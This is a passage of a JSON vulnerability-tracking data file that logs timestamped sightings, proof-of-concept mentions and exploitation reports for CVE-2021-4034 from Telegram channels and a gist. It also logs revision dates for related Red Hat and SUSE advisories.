"Telegram/ZgCr-QtIaZzfWH_G5n7SPMMpfVh-1AGHErUOuYy1Umyc9DY", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "bcbb7630-d017-4294-828c-af520dd87ca4"}, {"timestamp": "2026-08-17T00:00:10.782Z", "date_only": false, "value": "2026-08-17T00:00:10.782894Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/ZgCr-QtIaZzfWH_G5n7SPMMpfVh-1AGHErUOuYy1Umyc9DY", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "471f1a80-b11c-4059-b5fb-dec580df9276"}, {"timestamp": "2026-08-17T18:00:06.098Z", "date_only": false, "value": "2026-08-17T18:00:06.098732Z", "kind": "sighting", "label": "Seen", "source": "Telegram/EqoYaV6nsS8NdFMiUlh20F2PL0M0xTB12P2J_sYTarvuZL8", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "151bf7b2-91e7-4129-8b8c-1db1c8798488"}, {"timestamp": "2026-08-18T00:00:10.234Z", "date_only": false, "value": "2026-08-18T00:00:10.234147Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/EqoYaV6nsS8NdFMiUlh20F2PL0M0xTB12P2J_sYTarvuZL8", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "04c43d9b-421c-4cdf-8fd4-825ecc535975"}, {"timestamp": "2026-08-24T08:00:02.798Z", "date_only": false, "value": "2026-08-24T08:00:02.798135Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/xhqcankao/2256", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "bd8a1bb2-a3c1-46e0-87bd-d699ee2c01cb", "url": "https://t.me/xhqcankao/2256"}, {"timestamp": "2026-08-24T10:00:04.028Z", "date_only": false, "value": "2026-08-24T10:00:04.028705Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/xhqcankao/3575", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "46c01645-d639-4966-8698-53e0b9b56eac", "url": "https://t.me/xhqcankao/3575"}, {"timestamp": "2026-08-27T12:00:03.997Z", "date_only": false, "value": "2026-08-27T12:00:03.997706Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/9BtrUinGR09Vw-DDzgsbuAL7mkCqzQImOpJ5grPSV1xMots", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "7971af7c-5dae-489d-9f37-0859e145509f"}, {"timestamp": "2026-08-27T12:00:05.591Z", "date_only": false, "value": "2026-08-27T12:00:05.591117Z", "kind": "sighting", "label": "Seen", "source": "Telegram/ffKlG2fYJe_qUeuQCHj3J9BzzMW_6IY6h6bicEkkzdHSiG8", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "eca6f101-d594-41db-9c38-78d6455e6eef"}, {"timestamp": "2026-08-27T12:00:12.638Z", "date_only": false, "value": "2026-08-27T12:00:12.638998Z", "kind": "sighting", "label": "Seen", "source": "Telegram/ikZnoSctjKS01YLMJM9Qen4V1zyVECG1kRn9n_uoSWF20Fw", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "086d1757-7a8d-4200-b676-9ab74afe5158"}, {"timestamp": "2026-08-27T14:00:11.589Z", "date_only": false, "value": "2026-08-27T14:00:11.589704Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/BMLRzi6GxNLh9Y-kste7qnOEyxUjpKwyZDAyz25BJw9R9vo", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "0c16ea1c-acb0-4f76-897b-58a277f0b29b"}, {"timestamp": "2026-08-28T00:00:44.437Z", "date_only": false, "value": "2026-08-28T00:00:44.437534Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/ffKlG2fYJe_qUeuQCHj3J9BzzMW_6IY6h6bicEkkzdHSiG8", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "2d7d691f-d0e0-4e42-a2b4-0426947c18da"}, {"timestamp": "2026-08-29T00:00:12.627Z", "date_only": false, "value": "2026-08-29T00:00:12.627506Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/ikZnoSctjKS01YLMJM9Qen4V1zyVECG1kRn9n_uoSWF20Fw", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "625082f3-e489-4baa-9f74-3ff56b9954bc"}, {"timestamp": "2026-09-01T20:00:13.671Z", "date_only": false, "value": "2026-09-01T20:00:13.671192Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/hacking_Attack/178593", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "083a8091-c992-4f3a-b54e-090ec3a95482", "url": "https://t.me/hacking_Attack/178593"}, {"timestamp": "2026-09-01T20:00:13.710Z", "date_only": false, "value": "2026-09-01T20:00:13.710287Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/hacking_Attack/178595", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "a1fc9363-9686-45a0-96d5-8234fa8b8933", "url": "https://t.me/hacking_Attack/178595"}, {"timestamp": "2026-09-01T20:01:46.010Z", "date_only": false, "value": "2026-09-01T20:01:46.010271Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/hacking_Attack/49669", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "bb853ef8-2056-449b-af8d-8273f89812e3", "url": "https://t.me/hacking_Attack/49669"}, {"timestamp": "2026-09-01T20:01:46.057Z", "date_only": false, "value": "2026-09-01T20:01:46.057422Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/hacking_Attack/49671", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "c1fa0270-ac70-4d05-b60b-e68349809634", "url": "https://t.me/hacking_Attack/49671"}, {"timestamp": "2026-09-01T20:01:46.933Z", "date_only": false, "value": "2026-09-01T20:01:46.933923Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/hacking_Attack/49542", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "202e0e33-086b-435d-a9d2-5acd4345ede2", "url": "https://t.me/hacking_Attack/49542"}, {"timestamp": "2026-09-01T20:01:53.011Z", "date_only": false, "value": "2026-09-01T20:01:53.011587Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/hacking_Attack/45307", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "323bb484-b726-4d9f-bfcd-8c1965c3357a", "url": "https://t.me/hacking_Attack/45307"}, {"timestamp": "2026-09-01T20:01:53.056Z", "date_only": false, "value": "2026-09-01T20:01:53.056864Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/hacking_Attack/45310", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "f6d809a9-1769-4322-ac06-1d5fa68e2c04", "url": "https://t.me/hacking_Attack/45310"}, {"timestamp": "2026-09-01T20:01:53.097Z", "date_only": false, "value": "2026-09-01T20:01:53.097581Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/hacking_Attack/45332", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "2b650435-9da4-4024-969a-194e93ec84b3", "url": "https://t.me/hacking_Attack/45332"}, {"timestamp": "2026-09-01T20:01:56.543Z", "date_only": false, "value": "2026-09-01T20:01:56.543074Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/hacking_Attack/41919", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "bf0e645e-6092-484f-9230-24a951412aa7", "url": "https://t.me/hacking_Attack/41919"}, {"timestamp": "2026-09-01T20:01:56.577Z", "date_only": false, "value": "2026-09-01T20:01:56.577320Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/hacking_Attack/42042", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "8d5c0074-33fa-43ab-b338-990a3aa7106d", "url": "https://t.me/hacking_Attack/42042"}, {"timestamp": "2026-09-01T20:01:57.556Z", "date_only": false, "value": "2026-09-01T20:01:57.556420Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/hacking_Attack/41093", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "2103767a-e108-4fe6-8d0a-419878124e16", "url": "https://t.me/hacking_Attack/41093"}, {"timestamp": "2026-09-01T20:01:57.943Z", "date_only": false, "value": "2026-09-01T20:01:57.943101Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/hacking_Attack/40837", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "24c2f4df-0889-49e3-a583-9a108c14b46c", "url": "https://t.me/hacking_Attack/40837"}, {"timestamp": "2026-09-01T20:01:58.205Z", "date_only": false, "value": "2026-09-01T20:01:58.205520Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/hacking_Attack/40447", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "6d3bde26-ebaf-4ad7-8489-d47358c87bd9", "url": "https://t.me/hacking_Attack/40447"}, {"timestamp": "2026-09-01T20:01:58.482Z", "date_only": false, "value": "2026-09-01T20:01:58.482981Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/hacking_Attack/40289", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "268362e3-1bbc-49f3-8e0a-849c83bff07c", "url": "https://t.me/hacking_Attack/40289"}, {"timestamp": "2026-09-01T20:01:58.532Z", "date_only": false, "value": "2026-09-01T20:01:58.532548Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/hacking_Attack/40318", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "abae1915-1231-4b9b-b420-53c90f9b8e2d", "url": "https://t.me/hacking_Attack/40318"}, {"timestamp": "2026-09-01T20:01:58.584Z", "date_only": false, "value": "2026-09-01T20:01:58.584265Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/hacking_Attack/40282", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "86cf0379-bb58-4c1a-9312-80d144a9f3dc", "url": "https://t.me/hacking_Attack/40282"}, {"timestamp": "2026-09-01T20:01:58.635Z", "date_only": false, "value": "2026-09-01T20:01:58.635443Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/hacking_Attack/40288", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "3ef2aae7-0426-44c4-8243-4af4bafacd4c", "url": "https://t.me/hacking_Attack/40288"}, {"timestamp": "2026-09-01T20:01:58.675Z", "date_only": false, "value": "2026-09-01T20:01:58.675039Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/hacking_Attack/40257", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "2d79cc97-5e3a-40f2-bd25-f741059beb2e", "url": "https://t.me/hacking_Attack/40257"}, {"timestamp": "2026-09-02T05:00:04.571Z", "date_only": false, "value": "2026-09-02T05:00:04.571516Z", "kind": "sighting", "label": "Seen", "source": "Telegram/FxPwD2QYmiA5ZVhY8rKhgPR6q1a7u8sU2ARM9Vm3CjRJJs0", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "12bb7f39-edc7-4355-8d21-cf5812a86f8c"}, {"timestamp": "2026-09-03T00:00:43.901Z", "date_only": false, "value": "2026-09-03T00:00:43.901631Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/FxPwD2QYmiA5ZVhY8rKhgPR6q1a7u8sU2ARM9Vm3CjRJJs0", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "38066042-fe86-4810-aa81-2a4dde8b87d3"}, {"timestamp": "2026-09-03T01:00:04.086Z", "date_only": false, "value": "2026-09-03T01:00:04.086446Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacking_Attack/178595", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "73960866-c156-4006-966a-f24dd8907d98", "url": "https://t.me/hacking_Attack/178595"}, {"timestamp": "2026-09-03T01:00:04.144Z", "date_only": false, "value": "2026-09-03T01:00:04.144042Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacking_Attack/178593", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "5580ce25-3f58-4fed-913d-6ab5df2d1a8f", "url": "https://t.me/hacking_Attack/178593"}, {"timestamp": "2026-09-03T08:00:04.730Z", "date_only": false, "value": "2026-09-03T08:00:04.730963Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/YbRfKEk-IIx1_FMexJ4nj8bwYW1jgQhXCn7l7xzen7fZZLk", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "d30cce89-65c8-44b4-afba-4f91df97e983"}, {"timestamp": "2026-09-06T01:00:04.535Z", "date_only": false, "value": "2026-09-06T01:00:04.535946Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacking_Attack/49671", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "37e25aac-1734-4140-9847-c2a95b9d3310", "url": "https://t.me/hacking_Attack/49671"}, {"timestamp": "2026-09-06T01:00:04.588Z", "date_only": false, "value": "2026-09-06T01:00:04.588445Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacking_Attack/49669", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "127db920-0c80-48b8-b8b7-d858835d0e54", "url": "https://t.me/hacking_Attack/49669"}, {"timestamp": "2026-09-06T02:00:04.010Z", "date_only": false, "value": "2026-09-06T02:00:04.010892Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacking_Attack/49542", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "d8ec91f5-318d-4ae4-b6d5-484042a78786", "url": "https://t.me/hacking_Attack/49542"}, {"timestamp": "2026-09-06T06:00:04.773Z", "date_only": false, "value": "2026-09-06T06:00:04.773719Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacking_Attack/45332", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "f8d2104c-bd9c-4101-acaa-1660b5fad903", "url": "https://t.me/hacking_Attack/45332"}, {"timestamp": "2026-09-06T06:00:04.831Z", "date_only": false, "value": "2026-09-06T06:00:04.831782Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacking_Attack/45310", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "16bb84a6-33ad-42a2-adad-36cbdd55a2be", "url": "https://t.me/hacking_Attack/45310"}, {"timestamp": "2026-09-06T06:00:04.877Z", "date_only": false, "value": "2026-09-06T06:00:04.877830Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacking_Attack/45307", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "8cb0bd48-71d8-4c25-8383-4cdedee02be7", "url": "https://t.me/hacking_Attack/45307"}, {"timestamp": "2026-09-06T10:00:06.346Z", "date_only": false, "value": "2026-09-06T10:00:06.346055Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacking_Attack/42042", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "1b4bca03-2a01-4bb0-810b-96665bd2e23e", "url": "https://t.me/hacking_Attack/42042"}, {"timestamp": "2026-09-06T10:00:06.396Z", "date_only": false, "value": "2026-09-06T10:00:06.396466Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacking_Attack/41919", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "295d8d48-7f9c-4b9b-b768-cf4f66e10fb3", "url": "https://t.me/hacking_Attack/41919"}, {"timestamp": "2026-09-06T12:00:05.956Z", "date_only": false, "value": "2026-09-06T12:00:05.956311Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/hacking_Attack/40257", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "16d18bef-8441-4f8b-8481-947795d9be3e", "url": "https://t.me/hacking_Attack/40257"}, {"timestamp": "2026-09-06T12:00:06.012Z", "date_only": false, "value": "2026-09-06T12:00:06.012387Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacking_Attack/40288", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "8f612377-01c2-4ec4-a676-8bf50ad8d17a", "url": "https://t.me/hacking_Attack/40288"}, {"timestamp": "2026-09-06T12:00:06.064Z", "date_only": false, "value": "2026-09-06T12:00:06.064165Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacking_Attack/40282", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "ae916e1c-d6ed-4737-8a16-f964ea55848f", "url": "https://t.me/hacking_Attack/40282"}, {"timestamp": "2026-09-06T12:00:06.113Z", "date_only": false, "value": "2026-09-06T12:00:06.113367Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacking_Attack/40289", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "b23602d9-5078-4d1f-896f-770f3615d813", "url": "https://t.me/hacking_Attack/40289"}, {"timestamp": "2026-09-06T12:00:06.409Z", "date_only": false, "value": "2026-09-06T12:00:06.409728Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacking_Attack/40447", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "a8503e4a-5a43-43c4-beea-a5a40218dad6", "url": "https://t.me/hacking_Attack/40447"}, {"timestamp": "2026-09-06T15:00:04.091Z", "date_only": false, "value": "2026-09-06T15:00:04.091197Z", "kind": "sighting", "label": "Seen", "source": "Telegram/XELY7yMiVU7lDAG5jTnGWxzdDQm-g3hGd-rJzK0iCImTLgM", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "ad7ebd08-f0c7-496f-852c-41217cea043b"}, {"timestamp": "2026-09-18T04:00:15.673Z", "date_only": false, "value": "2026-09-18T04:00:15.673772Z", "kind": "sighting", "label": "Seen", "source": "Telegram/FpYk8ynVsvkUdXcoDEYgoRRt_8k7ZJGfsVgmeYKdLdl0tBg", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "30afa380-a0a9-4307-85f3-e225d6d0bb68"}, {"timestamp": "2026-09-19T00:00:10.841Z", "date_only": false, "value": "2026-09-19T00:00:10.841419Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/FpYk8ynVsvkUdXcoDEYgoRRt_8k7ZJGfsVgmeYKdLdl0tBg", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "3f3c502c-1b4a-4576-8d66-5561949c15b3"}, {"timestamp": "2026-09-20T11:18:47Z", "date_only": false, "value": "2026-09-20T11:18:47Z", "kind": "other", "label": "Advisory revision", "source": "csaf_opensuse \u00b7 RHSA-2022:0267", "record": "RHSA-2022:0267", "field": "document.tracking.revision_history.1.date"}, {"timestamp": "2026-09-20T11:18:47Z", "date_only": false, "value": "2026-09-20T11:18:47Z", "kind": "other", "label": "Updated", "source": "csaf_opensuse \u00b7 RHSA-2022:0267", "record": "RHSA-2022:0267", "field": "document.tracking.current_release_date"}, {"timestamp": "2026-09-20T11:18:48Z", "date_only": false, "value": "2026-09-20T11:18:48Z", "kind": "other", "label": "Advisory revision", "source": "csaf_opensuse \u00b7 RHSA-2022:0274", "record": "RHSA-2022:0274", "field": "document.tracking.revision_history.1.date"}, {"timestamp": "2026-09-20T11:18:48Z", "date_only": false, "value": "2026-09-20T11:18:48Z", "kind": "other", "label": "Updated", "source": "csaf_opensuse \u00b7 RHSA-2022:0274", "record": "RHSA-2022:0274", "field": "document.tracking.current_release_date"}, {"timestamp": "2026-09-20T14:14:36Z", "date_only": false, "value": "2026-09-20T14:14:36Z", "kind": "other", "label": "Advisory revision", "source": "csaf_suse \u00b7 SUSE-SU-2022:0189-1", "record": "SUSE-SU-2022:0189-1", "field": "document.tracking.revision_history.1.date"}, {"timestamp": "2026-09-20T14:14:36Z", "date_only": false, "value": "2026-09-20T14:14:36Z", "kind": "other", "label": "Updated", "source": "csaf_suse \u00b7 SUSE-SU-2022:0189-1", "record": "SUSE-SU-2022:0189-1", "field": "document.tracking.current_release_date"}, {"timestamp": "2026-09-20T14:14:37Z", "date_only": false, "value": "2026-09-20T14:14:37Z", "kind": "other", "label": "Advisory revision", "source": "csaf_suse \u00b7 SUSE-SU-2022:0190-1", "record": "SUSE-SU-2022:0190-1", "field": "document.tracking.revision_history.1.date"}, {"timestamp": "2026-09-20T14:14:37Z", "date_only": false, "value": "2026-09-20T14:14:37Z", "kind": "other", "label": "Updated", "source": "csaf_suse \u00b7 SUSE-SU-2022:0190-1", "record": "SUSE-SU-2022:0190-1", "field": "document.tracking.current_release_date"}, {"timestamp": "2026-09-20T14:14:38Z", "date_only": false, "value": "2026-09-20T14:14:38Z", "kind": "other", "label": "Advisory revision", "source": "csaf_suse \u00b7 SUSE-SU-2022:0191-1", "record": "SUSE-SU-2022:0191-1", "field": "document.tracking.revision_history.1.date"}, {"timestamp": "2026-09-20T14:14:38Z", "date_only": false, "value": "2026-09-20T14:14:38Z", "kind": "other", "label": "Updated", "source": "csaf_suse \u00b7 SUSE-SU-2022:0191-1", "record": "SUSE-SU-2022:0191-1", "field": "document.tracking.current_release_date"}, {"timestamp": "2026-09-20T19:39:15Z", "date_only": false, "value": "2026-09-20T19:39:15Z", "kind": "other", "label": "Advisory revision", "source": "csaf_opensuse \u00b7 OPENSUSE-SU-2022:0190-1", "record": "OPENSUSE-SU-2022:0190-1", "field": "document.tracking.revision_history.1.date"}, {"timestamp": "2026-09-20T19:39:15Z", "date_only": false, "value": "2026-09-20T19:39:15Z", "kind": "other", "label": "Updated", "source": "csaf_opensuse \u00b7 OPENSUSE-SU-2022:0190-1", "record": "OPENSUSE-SU-2022:0190-1", "field": "document.tracking.current_release_date"}, {"timestamp": "2026-09-20T20:25:26Z", "date_only": false, "value": "2026-09-20T20:25:26Z", "kind": "other", "label": "Advisory revision", "source": "csaf_opensuse \u00b7 OPENSUSE-SU-2024:11780-1", "record": "OPENSUSE-SU-2024:11780-1", "field": "document.tracking.revision_history.1.date"}, {"timestamp": "2026-09-20T20:25:26Z", "date_only": false, "value": "2026-09-20T20:25:26Z", "kind": "other", "label": "Updated", "source": "csaf_opensuse \u00b7 OPENSUSE-SU-2024:11780-1", "record": "OPENSUSE-SU-2024:11780-1", "field": "document.tracking.current_release_date"}, {"timestamp": "2026-10-16T08:52:12Z", "date_only": false, "value": "2026-10-16T08:52:12.000000Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/tqe7s0fp06/7a878a7219007959fb5572ae4eb53075", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "07188a92-994f-4c09-932e-409896a4f46f", "url": "https://gist.github.com/tqe7s0fp06/7a878a7219007959fb5572ae4eb53075"}]}